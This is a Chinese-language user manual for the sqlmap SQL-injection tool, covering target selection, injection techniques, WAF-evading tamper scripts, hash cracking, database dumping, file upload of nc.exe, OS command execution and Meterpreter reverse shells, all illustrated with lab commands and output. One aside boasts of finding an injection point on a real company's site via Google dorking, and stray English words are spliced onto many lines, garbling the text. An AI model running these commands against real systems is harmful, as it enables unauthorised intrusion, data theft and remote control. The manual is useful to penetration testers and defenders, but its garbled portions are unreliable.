SQLMap用户手册【超详细】

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1php

当给sqlmap这么一个url的时候,它会:html

一、判断可注入的参数python

二、判断能够用那种SQL注入技术来注入mysql

三、识别出哪一种数据库linux

四、根据用户选择,读取哪些数据git

sqlmap支持五种不一样的注入模式:github

一、基于布尔的盲注,便可以根据返回页面判断条件真假的注入。web

二、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。sql

三、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。shell

四、联合查询注入,可使用union的状况下的注入。

五、堆查询注入,能够同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

能够提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也能够本身定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也能够指定用逗号分隔的列表的具体参数来测试。

能够设定HTTP(S)请求的并发数,来提升盲注时的效率。

Youtube上有人作的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

能够点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可使用git来获取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

以后能够直接使用命令来更新

python sqlmap.py --update

或者

git pull

更新sqlmap

若是你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

一、同时显示基本信息和警告信息。(默认)

二、同时显示debug信息。

三、同时显示注入的payload。

四、同时显示HTTP请求。

五、同时显示HTTP响应头。

六、同时显示HTTP响应页面。

若是你想看到sqlmap发送的测试payload最好的等级就是3。
获取目标方式
目标URL

参数:-u或者–url

格式:http(s)😕/targeturl[:port]/[…]:

例如:python sqlmap.py -u “http://www.target.com/vuln.php?id=1” -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数:-l

能够直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。
从文本中获取多个目标扫描

参数:-m

文件中保存url格式以下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r

sqlmap能够从一个文本文件中获取HTTP请求,这样就能够跳过设置一些其余参数(好比cookie,POST数据,等等)。

好比文本文件内以下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你须要配合这个–force-ssl参数来使用,或者你能够在Host头后门加上:443
处理Google的搜索结果

参数:-g

sqlmap能够测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

python sqlmap.py -g “inurl:”.php?id=1""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)

此外可使用-c参数加载sqlmap.conf文件里面的相关配置。
请求
http数据

参数:–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数同样检测POST的参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“id=1” -f --banner --dbs --users

参数拆分字符

参数:–param-del

当GET或POST的数据须要用其余字符分割测试参数的时候须要用到此参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“query=foobar;id=1” --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在如下两个方面颇有用:

一、web应用须要登录的时候。

二、你想要在这些头参数中测试SQL注入时。

能够经过抓包把cookie获取到,复制出来,而后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取而且在之后的请求中加入,而且会尝试SQL注入。

若是你不想接受Set-Cookie可使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪一个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
HTTP User-Agent头

参数:–user-agent,–random-agent

默认状况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可使用–user-anget参数来修改,同时也可使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
HTTP Referer头

参数:–referer

sqlmap能够在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头

参数:–headers

能够经过–headers参数来增长额外的http头
HTTP认证保护

参数:–auth-type,–auth-cred

这些参数能够用来登录HTTP的认证保护支持三种方式:

一、Basic

二、Digest

三、NTLM

例子:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”

HTTP协议的证书认证

参数:–auth-cert

当Web服务器须要客户端证书进行身份验证时,须要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的链接文件。
HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。

当HTTP(S)代理须要认证是可使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。
HTTP请求延迟

参数:–delay

能够设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
设定超时时间

参数:–timeout

能够设定一个HTTP(S)请求超过多久断定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时

参数:–retries

当HTTP(S)超时时,能够设定从新尝试链接次数,默认是3次。
设定随机改变的参数值

参数:–randomize

能够设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值同样。
利用正则过滤目标网址

参数:–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你屡次访问错误的请求时屏蔽掉你之后的全部请求,这样在sqlmap进行探测或者注入的时候可能形成错误请求而触发这个策略,致使之后没法进行。

绕过这个策略有两种方式:

一、–safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下。
二、–safe-freq:提供一个安全不错误的链接,每次测试请求以后都会再访问一边安全链接。

关掉URL参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被URL编码,可是有些时候后端的web服务器不遵照RFC标准,只接受不通过URL编码的值,这时候就须要用–skip-urlencode参数。
每次请求时候执行自定义的python代码

参数:–eval

在有些时候,须要根据某个参数的变化,而修改另个一参数,才能造成正常的请求,这时能够用–eval参数在每次请求时根据所写python代码作完修改后请求。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

上面的请求就是每次请求时根据id参数值,作一次md5后做为hash参数的值。
注入
测试参数

参数:-p,–skip

sqlmap默认测试全部的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。可是你能够手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大可是有个别参数不想测试的时候可使用–skip参数。

例如:–skip=“user-angent.referer”

在有些时候web服务器使用了URL重写,致使没法直接使用sqlmap测试参数,能够在想测试的参数后面加*

例如:

python sqlmap.py -u “http://targeturl/param1/value1*/param2/value2/”

sqlmap将会测试value1的位置是否可注入。
指定数据库

参数:–dbms

默认状况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:–os

默认状况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。
指定无效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,可使用这个参数,例如默认状况系id=13,sqlmap会变成id=-13来报错,你能够指定好比id=9999999来报错。
只定无效的逻辑

参数:–invalid-logical

缘由同上,能够指定id=13把原来的id=-13的报错改为id=13 AND 18=19。
注入payload

参数:–prefix,–suffix

在有些环境中,须要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;

这时你就须要–prefix和–suffix参数了:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (’abc’=’abc”

这样执行的SQL语句变成:

$query = “SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1”;

修改注入的数据

参数:–tamper

sqlmap除了使用CHAR()函数来防止出现单引号以外没有对注入的数据修改,你可使用–tamper参数对数据作修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

Needed imports

from lib.core.enums import PRIORITY

Define which is the order of application of tamper scripts against

the payload

priority = PRIORITY.NORMAL
def tamper(payload):
‘’’
Description of your tamper script
‘’’
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

能够查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script ‘between’
[hh:mm:03] [INFO] loading tamper script ‘randomcase’
[hh:mm:03] [INFO] loading tamper script ‘space2comment’
[…]
[hh:mm:04] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1)//And//1369=7706//And//(4092=4092
[hh:mm:04] [PAYLOAD] 1)//AND//9267=9267//AND//(4057=4057
[hh:mm:04] [PAYLOAD] 1//AnD//950=7041
[…]
[hh:mm:04] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1//anD//(SELeCt//9921//fROm(SELeCt//counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/
/(case//whEN//(9921=9921)//THeN//1//elsE//0//
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/
/fROm//information_schema.tables//
group//bY//x)a)
[hh:mm:04] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based - WHERE or HAVING
clause’ injectable
[…]

探测
探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload能够在xml/payloads.xml中看到,你也能够根据相应的格式添加本身的payload。

这个参数不只影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不肯定哪一个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
风险等级

参数:–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增长基于事件的测试语句,3会增长OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能致使更新的整个表,可能形成很大的风险。

测试的语句一样能够在xml/payloads.xml中找到,你也能够自行添加payload。
页面比较

参数:–string,–not-string,–regexp,–code

默认状况下sqlmap经过判断返回页面的不一样来判断真假,但有时候这会产生偏差,由于有的页面在每次刷新的时候都会返回不一样的代码,好比页面当中包含一个动态的广告或者其余内容,这会致使sqlmap的误判。此时用户能够提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户能够提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也能够提供真与假条件返回的HTTP状态码不同来注入,例如,响应200的时候为真,响应401的时候为假,能够添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不一样位置在哪里可使用–text-only(HTTP响应体中不一样)–titles(HTML的title标签中不一样)。
注入技术
测试是不是注入

参数:–technique

这个参数能够指定sqlmap使用的探测技术,默认状况下会测试全部的方式。

支持的探测方式以下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec

当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。
设定UNION查询字段数

参数:–union-cols

默认状况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增长测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
设定UNION查询使用的字符

参数:–union-char

默认状况下sqlmap针对UNION查询的注入会使用NULL字符,可是有些状况下会形成页面返回失败,而一个随机整数是成功的,这是你能够用–union-char只定UNION查询的字符。
二阶SQL注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并非当前的页面,而是另外的一个页面,这时候就须要你指定到哪一个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。
列数据
标志

参数:-b,–banner

大多数的数据库系统都有一个函数能够返回数据库的版本号,一般这个函数是version()或者变量@@version这主要取决与是什么数据库。
用户

参数:-current-user

在大多数据库中能够获取到管理数据的用户。
当前数据库

参数:–current-db

返还当前链接的数据库。
当前用户是否为管理用

参数:–is-dba

判断当前的用户是否为管理,是的话会返回True。
列数据库管理用户

参数:–users

当前用户有权限读取包含全部用户的表的权限时,就能够列出全部管理用户。
列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,而后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” --passwords -v 1
[…]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: ‘postgres_passwd’
what’s the dictionary’s location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: ‘/software/sqlmap/txt/wordlist.txt’
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: ‘testpass’ for user: ‘testuser’
[hh:mm:50] [INFO] found: ‘testpass’ for user: ‘postgres’
database management system users password hashes:
[] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[
] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

能够看到sqlmap不只勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也能够提供-U参数来指定爆破哪一个用户的hash。
列出数据库管理员权限

参数:–privileges

当前用户有权限读取包含全部用户的表的权限时,极可能列举出每一个用户的权限,sqlmap将会告诉你哪一个是数据库的超级管理员。也能够用-U参数指定你想看哪一个用户的权限。
列出数据库管理员角色

参数:–roles

当前用户有权限读取包含全部用户的表的权限时,极可能列举出每一个用户的角色,也能够用-U参数指定你想看哪一个用户的角色。

仅适用于当前数据库是Oracle的时候。
列出数据库系统的数据库

参数:–dbs

当前用户有权限读取包含全部数据库列表信息的表中的时候,便可列出全部的数据库。
列举数据库表

参数:–tables,–exclude-sysdbs,-D

当前用户有权限读取包含全部数据库表信息的表中的时候,便可列出一个特定数据的全部表。

若是你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库全部库的全部表。

–exclude-sysdbs参数是指包含了全部的系统数据库。

须要注意的是在Oracle中你须要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段

参数:–columns,-C,-T,-D

当前用户有权限读取包含全部数据库表信息的表中的时候,便可列出指定数据库表中的字段,同时也会列出字段的数据类型。

若是没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1” --columns -D testdb -T users -C name
[…]
Database: SQLite_masterdb
Table: users
[3 columns]
±--------±--------+
| Column | Type |
±--------±--------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
±--------±--------+

列举数据库系统的架构

参数:–schema,–exclude-sysdbs

用户能够用此参数获取数据库的架构,包含全部的数据库,表和字段,以及各自的类型。

加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:

$ python sqlmap.py -u “http://192.168.48.130/sqlmap/mysql/get_int.php?id=1” --schema --batch --exclude-sysdbs
[…]
Database: owasp10
Table: accounts
[4 columns]
±------------±--------+
| Column | Type |
±------------±--------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
±------------±--------+

Database: owasp10
Table: blogs_table
[4 columns]
±-------------±---------+
| Column | Type |
±-------------±---------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
±-------------±---------+

Database: owasp10
Table: hitlog
[6 columns]
±---------±---------+
| Column | Type |
±---------±---------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
±---------±---------+

Database: testdb
Table: users
[3 columns]
±--------±--------------+
| Column | Type |
±--------±--------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
±--------±--------------+
[…]

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可使用这个参数。

列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u “http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” --count -D testdb
[…]
Database: testdb
±---------------±--------+
| Table | Entries |
±---------------±--------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
±---------------±--------+

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

若是当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的全部内容。

使用-D,-T参数指定想要获取哪一个库的哪一个表,不适用-D参数时,默认使用当前库。

列举一个Firebird的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/firebird/get_int.php?id=1” --dump -T users
[…]
Database: Firebird_masterdb
Table: USERS
[4 entries]
±—±-------±-----------+
| ID | NAME | SURNAME |
±—±-------±-----------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
±—±-------±-----------+

能够获取指定库中的全部表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也能够用-dump跟-C获取指定的字段内容。

sqlmap为每一个表生成了一个CSV文件。

若是你只想获取一段数据,可使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,若是想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也能够用–first与–last参数,获取第几个字符到第几个字符的内容,若是你想获取字段中地三个字符到第五个字符的内容,使用–first 3 --last 5,只在盲注的时候使用,由于其余方式能够准确的获取注入内容,不须要一个字符一个字符的猜解。
获取全部数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取全部数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,须要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,由于有的管理员会把他当初用户数据库同样来使用它。
搜索字段,表,数据库

参数:–search,-C,-T,-D

–search能够用来寻找特定的数据库名,全部数据库中的特定表名,全部数据库表中的特定字段。

能够在一下三种状况下使用:

-C后跟着用逗号分割的列名,将会在全部数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在全部数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在全部数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测肯定使用哪一种SQL注入技术,如何插入检索语句。

若是是SELECT查询语句,sqlap将会输出结果。若是是经过SQL注入执行其余语句,须要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1

[…]
[hh:mm:14] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo’’
[hh:mm:14] [INFO] retrieved: foo
SELECT ‘foo’: ‘foo’

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’, ‘bar’” -v 2

[…]
[hh:mm:50] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo’, ‘bar’’
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT ‘foo’, ‘bar’: ‘foo, bar’

爆破
暴力破解表名

参数:–common-tables

当使用–tables没法获取到数据库的表时,可使用此参数。

一般是以下状况:

一、MySQL数据库版本小于5.0,没有information_schema表。
二、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
三、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你能够本身添加。

列举一个MySQL 4.1的例子:

$ python sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner

[…]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: ‘4.1.21-community-nt’

[hh:mm:40] [INFO] checking table existence using items from ‘/software/sqlmap/txt/common-tables.txt’
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
±------+
| users |
±------+

暴力破解列名

参数:–common-columns

与暴力破解表名同样,暴力跑的列名在txt/common-columns.txt中。
用户自定义函数注入

参数:–udf-inject,–shared-lib

你能够经过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,而后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
系统文件操做
从数据库服务器中读取文件

参数:–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。读取的文件能够是文本也能够是二进制文件。

列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther”
–file-read “C:/example.exe” -v 1

[…]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: ‘C:/example.exe’
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: ‘/software/sqlmap/output/192.168.136.129/files/C__example.exe’
[…]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r–r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把文件上传到数据库服务器中

参数:–file-write,–file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。上传的文件能够是文本也能够是二进制文件。

列举一个MySQL的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” --file-write
“/software/nc.exe.packed” --file-dest “C:/WINDOWS/Temp/nc.exe” -v 1

[…]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[…]
do you want confirmation that the file ‘C:/WINDOWS/Temp/nc.exe’ has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file ‘/software/nc.exe.packed’

运行任意操做系统命令

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他建立的这两个函数能够执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,若是被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会从新启用它,若是不存在,会自动建立。

列举一个PostgreSQL的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1”
–os-cmd id -v 1

[…]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF ‘sys_eval’ already exist
[hh:mm:12] [INFO] checking if UDF ‘sys_exec’ already exist
[hh:mm:12] [INFO] creating UDF ‘sys_eval’ from the binary UDF file
[hh:mm:12] [INFO] creating UDF ‘sys_exec’ from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: ‘uid=104(postgres) gid=106(postgres) groups=106(postgres)’

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF ‘sys_eval’? [Y/n] y
do you want to remove UDF ‘sys_exec’? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

用–os-shell参数也能够模拟一个真实的shell,能够输入你想执行的命令。

当不能执行多语句的时候(好比php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来建立一个web后门。支持的语言:

一、ASP
二、ASP.NET
三、JSP
四、PHP

Meterpreter配合使用

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数,能够在数据库与攻击者直接创建TCP链接,这个链接能够是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

一、经过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
二、经过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
三、经过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
四、经过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof

列举一个MySQL例子:

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1” --os-pwn --msf-path /software/metasploit

[…]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF ‘sys_bineval’ already exist
[hh:mm:33] [INFO] checking if UDF ‘sys_exec’ already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF ‘sys_bineval’ from the binary UDF file
[hh:mm:34] [INFO] creating UDF ‘sys_exec’ from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF ‘sys_bineval’ (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress … done
